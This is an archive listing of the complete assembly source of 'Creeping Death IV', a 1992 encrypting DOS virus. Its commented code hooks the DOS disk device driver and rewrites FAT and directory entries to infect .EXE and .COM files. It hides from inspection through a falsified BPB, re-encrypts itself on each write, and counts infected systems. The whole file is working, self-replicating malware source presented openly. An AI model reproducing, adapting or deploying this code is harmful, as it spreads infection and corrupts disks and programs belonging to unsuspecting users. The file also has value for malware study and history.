home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / CDEATH4.ASM < prev    next >
Assembly Source File  |  1992-10-11  |  24KB  |  603 lines

  1. ;*****************************************************************************;
  2. ;                                                                             ;
  3. ; Creeping Death IV (Encrypting, try to find it)                              ;
  4. ;                                                                             ;
  5. ; (c) Copyright 1992 by Bit Addict                                            ;
  6. ;                                                                             ;
  7. ;*****************************************************************************;
  8.  
  9. code segment public 'code'
  10.         assume  cs:code, ds:code, es:code
  11.         org     100h
  12.  
  13. ;*****************************************************************************;
  14. ;                                                                             ;
  15. ; Actual start of virus. In this part the virus initializes the stack and     ;
  16. ; adjusts the device driver used by dos to read and write from floppy's and   ;
  17. ; hard disks. Then it will start the orginal exe or com-file                  ;
  18. ;                                                                             ;
  19. ;*****************************************************************************;
  20.  
  21. Encrypt:        mov     bx,offset Main-9
  22. Repeat:         xor     byte ptr [bx+8],bl
  23.         inc     bx
  24.         jnz     Repeat
  25.  
  26. Main:           mov     sp,600h                 ; init stack
  27.         inc     Counter
  28.  
  29. ;*****************************************************************************;
  30. ;                                                                             ;
  31. ; Get dosversion, if the virus is running with dos 4+ then si will be 0 else  ;
  32. ; si will be -1                                                               ;
  33. ;                                                                             ;
  34. ;*****************************************************************************;
  35.  
  36. DosVersion:     mov     ah,30h                  ; fn 30h = Get Dosversion
  37.         int     21h                     ; int 21h
  38.         cmp     al,4                    ; major dosversion 
  39.         sbb     di,di
  40.         mov     byte ptr ds:drive[2],-1 ; set 2nd operand of cmp ah,??
  41.  
  42. ;*****************************************************************************;
  43. ;                                                                             ;
  44. ; Adjust the size of the codesegment, with dos function 4ah                   ;
  45. ;                                                                             ;
  46. ;*****************************************************************************;
  47.  
  48.         mov     bx,60h                  ; Adjust size of memory block
  49.         mov     ah,4ah                  ; to 60 paragraphs = 600h bytes
  50.         int     21h                     ; int 21h
  51.  
  52.         mov     ah,52h                  ; get internal list of lists
  53.         int     21h                     ; int 21h
  54.  
  55. ;*****************************************************************************;
  56. ;                                                                             ;
  57. ; If the virus code segment is located behind the dos config memory block the ;
  58. ; code segment will be part of the config memory block making it 61h          ;
  59. ; paragraphs larger. If the virus is not located next to the config memory    ;
  60. ; block the virus will set the owner to 8h (Dos system)                       ;
  61. ;                                                                             ;
  62. ;*****************************************************************************;
  63.  
  64.         mov     ax,es:[bx-2]            ; segment of first MCB
  65.         mov     dx,cs                   ; dx = MCB of the code segment
  66.         dec     dx
  67. NextMCB:        mov     ds,ax                   ; ax = segment next MCB
  68.         add     ax,ds:[3]
  69.         inc     ax
  70.         cmp     ax,dx                   ; are they equal ?
  71.         jne     NextMCB                 ; no, not 1st program executed
  72.         cmp     word ptr ds:[1],8
  73.         jne     NoBoot
  74.         add     word ptr ds:[3],61h     ; add 61h to size of block
  75. NoBoot:         mov     ds,dx                   ; ds = segment of MCB
  76.         mov     word ptr ds:[1],8       ; owner = dos system
  77.  
  78. ;*****************************************************************************;
  79. ;                                                                             ;
  80. ; The virus will search for the disk paramenter block for drive a: - c: in    ;
  81. ; order to find the device driver for these block devices. If any of these    ;
  82. ; blocks is found the virus will install its own device driver and set the    ;
  83. ; access flag to -1 to tell dos this device hasn't been accesed yet.          ;
  84. ;                                                                             ;
  85. ;*****************************************************************************;
  86.  
  87.         cld                             ; clear direction flag
  88.         lds     bx,es:[bx]              ; get pointer to first drive
  89.                         ; paramenter block
  90.  
  91. Search:         cmp     bx,-1                   ; last block ?
  92.         je      Last
  93.         mov     ax,ds:[bx+di+15h]       ; get segment of device header
  94.         cmp     ax,70h                  ; dos device header ??
  95.         jne     Next                    ; no, go to next device
  96.         xchg    ax,cx
  97.         mov     byte ptr ds:[bx+di+18h],-1 ; set access flag to "drive 
  98.                         ; has not been accessed"
  99.         mov     si,offset Header-4      ; set address of new device
  100.         xchg    si,ds:[bx+di+13h]       ; and save old address
  101.         mov     ds:[bx+di+15h],cs
  102. Next:           lds     bx,ds:[bx+di+19h]       ; next drive parameter block
  103.         jmp     Search
  104.  
  105. ;*****************************************************************************;
  106. ;                                                                             ;
  107. ; If the virus has failed in starting the orginal exe-file it will jump here. ;
  108. ;                                                                             ;
  109. ;*****************************************************************************;
  110.  
  111. Install:        int     20h
  112.  
  113. ;*****************************************************************************;
  114. ;                                                                             ;
  115. ; An file is opend with this name, but the file will not be found.            ;
  116. ;                                                                             ;
  117. ;*****************************************************************************;
  118.  
  119. File:           db      "C:",255,0
  120.  
  121. ;*****************************************************************************;
  122. ;                                                                             ;
  123. ; If none of these devices is found it means the virus is already resident    ;
  124. ; and the virus wasn't able to start the orginal exe-file (the file is        ;
  125. ; corrupted by copying it without the virus memory resident). If the device   ;
  126. ; is found the information in the header is copied.                           ;
  127. ;                                                                             ;
  128. ;*****************************************************************************;
  129.  
  130. Last:           jcxz    install
  131.  
  132. ;*****************************************************************************;
  133. ;                                                                             ;
  134. ; The information about the dos device driver is copyed to the virus code     ;
  135. ; segment                                                                     ;
  136. ;                                                                             ;
  137. ;*****************************************************************************;
  138.  
  139.         mov     ds,cx                   ; ds = segment of Device Driver
  140.         add     si,4
  141.         push    cs
  142.         pop     es
  143.         mov     di,offset Header
  144.         movsw
  145.         lodsw
  146.         mov     es:StrBlock,ax
  147.         mov     ax,offset Strategy
  148.         stosw
  149.         lodsw
  150.         mov     es:IntBlock,ax
  151.         mov     ax,offset Interrupt
  152.         stosw
  153.         movsb
  154.  
  155. ;*****************************************************************************;
  156. ;                                                                             ;
  157. ; Deallocate the environment memory block and start the this file again, but  ;
  158. ; if the virus succeeds it will start the orginal exe-file.                   ;
  159. ;                                                                             ;
  160. ;*****************************************************************************;
  161.  
  162.         push    cs
  163.         pop     ds
  164.         mov     bx,ds:[2ch]             ; environment segment
  165.         or      bx,bx                   ; =0 ?
  166.         jz      Boot
  167.         mov     es,bx
  168.         mov     ah,49h                  ; deallocate memory
  169.         int     21h
  170.         xor     ax,ax
  171.         mov     di,1
  172. Seek:           dec     di                      ; scan for end of environment
  173.         scasw
  174.         jne     Seek
  175.         lea     si,ds:[di+2]            ; es:si = start of filename
  176.         jmp     short Exec
  177.  
  178. Boot:           mov     ds,ds:[16h]             ; es = parent PSP
  179.         mov     bx,ds:[16h]             ; bx = parent PSP of Parent PSP
  180.         xor     si,si
  181.         sub     bx,1
  182.         jnb     Exec
  183.         mov     ax,cs
  184.         dec     ax
  185.         mov     ds,ax
  186.         mov     cx,8
  187.         mov     si,8
  188.         mov     di,0ffh
  189. Count:          lodsb
  190.         or      al,al
  191.         loopne  Count
  192.         not     cx
  193.         and     cx,7
  194. NextByte:       mov     si,8
  195.         inc     di
  196.         push    di
  197.         push    cx
  198.         rep     cmpsb
  199.         pop     cx
  200.         pop     di
  201.         jne     NextByte
  202. BeginName:      dec     di
  203.         cmp     byte ptr es:[di-1],0
  204.         jne     BeginName
  205.         mov     si,di
  206.         mov     bx,es
  207. Exec:           push    bx
  208.         push    cs
  209.         pop     ds
  210.         mov     bx,offset Param
  211.         mov     ds:[bx+4],cs            ; set segments in EPB
  212.         mov     ds:[bx+8],cs
  213.         mov     ds:[bx+12],cs
  214.         pop     ds
  215.         push    cs
  216.         pop     es
  217.  
  218.         mov     di,offset f_name        ; copy name of this file
  219.         push    di
  220.         mov     cx,40
  221.         rep     movsw
  222.         push    cs
  223.         pop     ds
  224.  
  225.         mov     ah,3dh                  ; open file, this file will
  226.         mov     dx,offset File          ; not be found but the entire
  227.         int     21h                     ; directory is searched and
  228.         pop     dx                      ; infected
  229.  
  230.         mov     ax,4b00h                ; execute file
  231.         int     21h
  232.         mov     ah,4dh                  ; get exit-code
  233.         int     21h
  234.         mov     ah,4ch                  ; terminate (al = exit code)
  235.         int     21h
  236.  
  237. ;*****************************************************************************;
  238. ;                                                                             ;
  239. ; Installation complete                                                       ;
  240. ;                                                                             ;
  241. ;*****************************************************************************;
  242. ;                                                                             ;
  243. ; The next part contains the device driver used by creeping death to infect   ;
  244. ; directory's                                                                 ;
  245. ;                                                                             ;
  246. ; The device driver uses only the strategy routine to handle the requests.    ;
  247. ; I don't know if this is because the virus will work better or the writer    ;
  248. ; of this virus didn't know how to do it right.                               ;
  249. ;                                                                             ;
  250. ;*****************************************************************************;
  251.  
  252.  
  253. Strategy:       mov     cs:RequestOffset,bx
  254.         mov     cs:RequestSegment,es
  255.         retf
  256.  
  257. Interrupt:      push    ax                      ; driver strategy block
  258.         push    bx
  259.         push    cx                      ; save registers
  260.         push    dx
  261.         push    si
  262.         push    di
  263.         push    ds
  264.         push    es
  265.  
  266.         les     bx,cs:Request
  267.         push    es
  268.         pop     ds
  269.         mov     al,ds:[bx+2]            ; Command Code
  270.  
  271.         cmp     al,4                    ; Input
  272.         je      Input
  273.         cmp     al,8                    ; Output
  274.         je      Output
  275.         cmp     al,9
  276.         je      Output
  277.  
  278.         call    DoRequest
  279.  
  280.         cmp     al,2                    ; Build BPB
  281.         jne     Return
  282.         lds     si,ds:[bx+12h]          ; copy the BPB and change it
  283.         mov     di,offset bpb_buf       ; into one that hides the virus
  284.         mov     es:[bx+12h],di
  285.         mov     es:[bx+14h],cs
  286.         push    es                      ; copy
  287.         push    cs
  288.         pop     es
  289.         mov     cx,16
  290.         rep     movsw
  291.         pop     es
  292.         push    cs
  293.         pop     ds
  294.         mov     al,ds:[di+2-32]         ; change
  295.         cmp     al,2
  296.         adc     al,0
  297.         cbw
  298.         cmp     word ptr ds:[di+8-32],0 ; >32mb partition ?
  299.         je      m32                     ; yes, jump to m32
  300.         sub     ds:[di+8-32],ax         ; <32mb partition
  301.         jmp     short Return
  302. m32:            sub     ds:[di+15h-32],ax       ; >32mb partition
  303.         sbb     word ptr ds:[di+17h-32],0
  304. Return:         pop     es                      ; return to caller
  305.         pop     ds
  306.         pop     di
  307.         pop     si
  308.         pop     dx
  309.         pop     cx
  310.         pop     bx
  311.         pop     ax
  312.         retf
  313.  
  314. Output:         mov     cx,0ff09h               ; check if disk changed
  315.         call    check
  316.         jz      InfectSector            ; no, just infect sector
  317.         call    DoRequest               ; yes, write virus to disk
  318.         jmp     short inf_dsk
  319.  
  320. InfectSector:   jmp     _InfectSector           ; infect sector
  321. Read:           jmp     _Read                   ; read sector
  322. ReadError:      add     sp,16                   ; error during request
  323.         jmp     short Return
  324.  
  325. Input:          call    check                   ; check if disk changed
  326.         jz      Read                    ; no, read sector
  327. inf_dsk:        mov     byte ptr ds:[bx+2],4    ; yes, write virus to disk
  328.         cld                             ; save last part of request
  329.         lea     si,ds:[bx+0eh]
  330.         mov     cx,8
  331. save:           lodsw
  332.         push    ax
  333.         loop    save
  334.         mov     word ptr ds:[bx+14h],1  ; read 1st sector on disk
  335.         call    ReadSector
  336.         jnz     ReadError
  337.         mov     byte ptr ds:[bx+2],2    ; build BPB
  338.         call    DoRequest
  339.         lds     si,ds:[bx+12h]          ; ds:si = BPB
  340.         mov     di,ds:[si+6]            ; size of root directory
  341.         add     di,15                   ; in sectors
  342.         mov     cl,4
  343.         shr     di,cl
  344.         mov     al,ds:[si+5]
  345.         cbw
  346.         mov     dx,ds:[si+0bh]
  347.         mul     dx                      ; ax=fat sectors, dx=0
  348.         add     ax,ds:[si+3]
  349.         add     di,ax
  350.         push    di                      ; save it on stack
  351.         mov     ax,ds:[si+8]            ; total number of sectors
  352.         cmp     ax,dx                   ; >32mb
  353.         jnz     more                    ; no, skip next 2 instructions
  354.         mov     ax,ds:[si+15h]          ; get number of sectors
  355.         mov     dx,ds:[si+17h]
  356. more:           xor     cx,cx                   ; cx=0
  357.         sub     ax,di                   ; dx:ax=number is data sectors
  358.         sbb     dx,cx
  359.         mov     cl,ds:[si+2]            ; cx=sectors / cluster
  360.         div     cx                      ; number of clusters on disk
  361.         cmp     cl,2                    ; 1 sector/cluster ?
  362.         sbb     ax,-1                   ; number of clusters (+1 or +2)
  363.         push    ax                      ; save it on stack
  364.         call    Convert                 ; get fat sector and offset in
  365.         mov     byte ptr es:[bx+2],4    ; sector
  366.         mov     es:[bx+14h],ax
  367.         call    ReadSector              ; read fat sector
  368. again:          lds     si,es:[bx+0eh]
  369.         add     si,dx
  370.         sub     dh,cl                   ; has something to do with the
  371.         adc     dx,ax                   ; encryption of the pointers
  372.         mov     word ptr cs:[gad+1],dx
  373.         cmp     cl,1                    ; 1 sector / cluster
  374.         jne     Ok
  375. SmallModel:     not     di                      ; this is used when the
  376.         and     ds:[si],di              ; clusters are 1 sector long
  377.         pop     ax
  378.         push    ax
  379.         inc     ax
  380.         push    ax
  381.         mov     dx,0fh
  382.         test    di,dx
  383.         jz      here
  384.         inc     dx
  385.         mul     dx
  386. here:           or      ds:[si],ax
  387.         pop     ax
  388.         call    Convert
  389.         mov     si,es:[bx+0eh]
  390.         add     si,dx
  391. Ok:             mov     ax,ds:[si]
  392.         and     ax,di
  393.         mov     dx,di                   ; allocate cluster
  394.         dec     dx
  395.         and     dx,di
  396.         not     di
  397.         and     ds:[si],di
  398.         or      ds:[si],dx
  399.         cmp     ax,dx                   ; cluster already allocated by
  400.         pop     ax                      ; the virus ?
  401.         pop     di
  402.         mov     word ptr cs:[pointer+1],ax
  403.         je      _Read_                  ; yes, don't write it and go on
  404.         mov     dx,ds:[si]
  405.         push    ds
  406.         push    si
  407.         mov     byte ptr es:[bx+2],8    ; write
  408.         call    DoRequest               ; write the adjusted sector to
  409.         pop     si                      ; disk
  410.         pop     ds
  411.         jnz     _Read_
  412.         call    ReadSector              ; read it again
  413.         cmp     ds:[si],dx              ; is it written correctly ?
  414.         jne     _Read_                  ; no, can't infect disk
  415.         dec     ax
  416.         dec     ax                      ; calculate the sector number
  417.         mul     cx                      ; to write the virus to
  418.         add     ax,di
  419.         adc     dx,0
  420.         push    es
  421.         pop     ds
  422.         mov     word ptr ds:[bx+12h],2
  423.         mov     ds:[bx+14h],ax          ; store it in the request hdr
  424.         test    dx,dx
  425.         jz      less
  426.         mov     word ptr ds:[bx+14h],-1
  427.         mov     ds:[bx+1ah],ax
  428.         mov     ds:[bx+1ch],dx
  429. less:           mov     ds:[bx+10h],cs
  430.         mov     ds:[bx+0eh],100h
  431.         mov     byte ptr es:[bx+2],8    ; write it
  432.         call    EncryptWrite1
  433.  
  434. _Read_:         mov     byte ptr ds:[bx+2],4    ; restore this byte
  435.         std                             ; restore other part of the
  436.         lea     di,ds:[bx+1ch]          ; request
  437.         mov     cx,8
  438. load:           pop     ax
  439.         stosw
  440.         loop    load
  441. _Read:          call    DoRequest               ; do request
  442.  
  443.         mov     cx,9
  444. _InfectSector:  mov     di,es:[bx+12h]          ; get number of sectors read
  445.         lds     si,es:[bx+0eh]          ; get address of data
  446.         sal     di,cl                   ; calculate end of buffer
  447.         xor     cl,cl
  448.         add     di,si
  449.         xor     dl,dl
  450.         push    ds                      ; infect the sector
  451.         push    si
  452.         call    find
  453.         jcxz    no_inf                  ; write sector ?
  454.         mov     al,8
  455.         xchg    al,es:[bx+2]            ; save command byte
  456.         call    DoRequest               ; write sector
  457.         mov     es:[bx+2],al            ; restore command byte
  458.         and     byte ptr es:[bx+4],07fh
  459. no_inf:         pop     si
  460.         pop     ds
  461.         inc     dx                      ; disinfect sector in memory
  462.         call    find
  463.         jmp     Return                  ; return to caller
  464.  
  465. ;*****************************************************************************;
  466. ;                                                                             ;
  467. ; Subroutines                                                                 ;
  468. ;                                                                             ;
  469. ;*****************************************************************************;
  470.  
  471. find:           mov     ax,ds:[si+8]            ; (dis)infect sector in memory
  472.         cmp     ax,"XE"                 ; check for .exe
  473.         jne     com
  474.         cmp     ds:[si+10],al
  475.         je      found
  476. com:            cmp     ax,"OC"                 ; check for .com
  477.         jne     go_on
  478.         cmp     byte ptr ds:[si+10],"M"
  479.         jne     go_on
  480. found:          test    word ptr ds:[si+1eh],0ffc0h ; file to big
  481.         jnz     go_on                       ; more than 4mb
  482.         test    word ptr ds:[si+1dh],03ff8h ; file to small
  483.         jz      go_on                       ; less than  2048 bytes
  484.         test    byte ptr ds:[si+0bh],1ch    ; directory, system or
  485.         jnz     go_on                       ; volume label
  486.         test    dl,dl                   ; infect or disinfect ?
  487.         jnz     rest
  488. pointer:        mov     ax,1234h                ; ax = viral cluster
  489.         cmp     ax,ds:[si+1ah]          ; file already infected ?
  490.         je      go_on                   ; yes, go on
  491.         xchg    ax,ds:[si+1ah]          ; exchange pointers
  492. gad:            xor     ax,1234h                ; encryption
  493.         mov     ds:[si+14h],ax          ; store it on another place
  494.         loop    go_on                   ; change cx and go on
  495. rest:           xor     ax,ax                   ; ax = 0
  496.         xchg    ax,ds:[si+14h]          ; get pointer
  497.         xor     ax,word ptr cs:[gad+1]  ; Encrypt
  498.         mov     ds:[si+1ah],ax          ; store it on the right place
  499. go_on:          rol     word ptr cs:[gad+1],1   ; change encryption
  500.         add     si,32                   ; next directory entry
  501.         cmp     di,si                   ; end of buffer ?
  502.         jne     find                    ; no, do it again
  503.         ret                             ; return
  504.  
  505. check:          mov     ah,ds:[bx+1]                    ; get number of unit
  506. drive:          cmp     ah,-1                           ; same as last call ?
  507.         mov     byte ptr cs:[drive+2],ah        ; set 2nd parameter
  508.         jne     changed
  509.         push    ds:[bx+0eh]                     ; save word
  510.         mov     byte ptr ds:[bx+2],1            ; disk changed ?
  511.         call    DoRequest
  512.         cmp     byte ptr ds:[bx+0eh],1          ; 1=Yes
  513.         pop     ds:[bx+0eh]                     ; restore word
  514.         mov     ds:[bx+2],al                    ; restore command
  515. changed:        ret                                     ; return
  516.  
  517. ReadSector:     mov     word ptr es:[bx+12h],1          ; read sector from disk
  518.  
  519. DoRequest:      db      09ah                    ; call 70:?, orginal strategy
  520. StrBlock        dw      ?,70h
  521.         db      09ah                    ; call 70:?, orginal interrupt
  522. IntBlock        dw      ?,70h
  523.         test    byte ptr es:[bx+4],80h  ; error ? yes, zf = 0
  524.         ret                             ; return
  525.  
  526. Convert:        cmp     ax,0ff0h                ; convert cluster number into
  527.         jae     fat_16                  ; an sector number and offset
  528.         mov     si,3                    ; into this sector containing
  529.         xor     word ptr cs:[si+gad-1],si       ; the fat-item of this
  530.         mul     si                              ; cluster
  531.         shr     ax,1
  532.         mov     di,0fffh
  533.         jnc     cont
  534.         mov     di,0fff0h
  535.         jmp     short cont
  536. fat_16:         mov     si,2
  537.         mul     si
  538.         mov     di,0ffffh
  539. cont:           mov     si,512
  540.         div     si
  541.         inc     ax
  542.         ret
  543.  
  544. EncryptWrite1:  push    ds
  545.         push    cs
  546.         pop     ds
  547.         push    es
  548.         push    cs
  549.         pop     es
  550.         cld
  551.         mov     cx,9
  552.         mov     si,offset Encrypt
  553.         mov     di,offset EncryptWrite2
  554.         mov     al,ds:[si+5]
  555.         add     al,11
  556.         mov     ds:[si+5],al
  557.         cbw
  558.         mov     dx,offset Main-1
  559.         sub     dx,ax
  560.         mov     ds:[si+1],dx
  561.         rep     movsb
  562.         mov     cl,10
  563.         mov     si,offset DoRequest
  564.         rep     movsb
  565.         mov     cl,9
  566.         mov     si,offset Encrypt
  567.         rep     movsb
  568.         mov     ax,0c31fh
  569.         stosw
  570.         pop     es
  571.         jmp     EncryptWrite2
  572.  
  573. Counter         dw      0                       ; this will count the number of
  574.                         ; systems that are infected by
  575.                         ; this virus
  576.  
  577. Param:          dw      0,80h,?,5ch,?,6ch,?     ; parameters for the
  578.                         ; exec-function
  579.  
  580. Header          db      7 dup(?)                ; this is the header for the
  581.                         ; device driver
  582.  
  583. Request         equ     this dword              ; address of the request header
  584. RequestOffset   dw      ?
  585. RequestSegment  dw      ?
  586.  
  587. bpb_buf:        db      32 dup(?)               ; buffer for BPB
  588. EncryptWrite2:  db      30 dup(?)
  589. f_name:         db      80 dup(?)               ; Buffer for the filename used
  590.                         ; by the exec-function
  591.  
  592.  
  593.  
  594. ;*****************************************************************************;
  595. ;                                                                             ;
  596. ; The End                                                                     ;
  597. ;                                                                             ;
  598. ;*****************************************************************************;
  599.  
  600. code ends
  601.  
  602. end Encrypt
  603.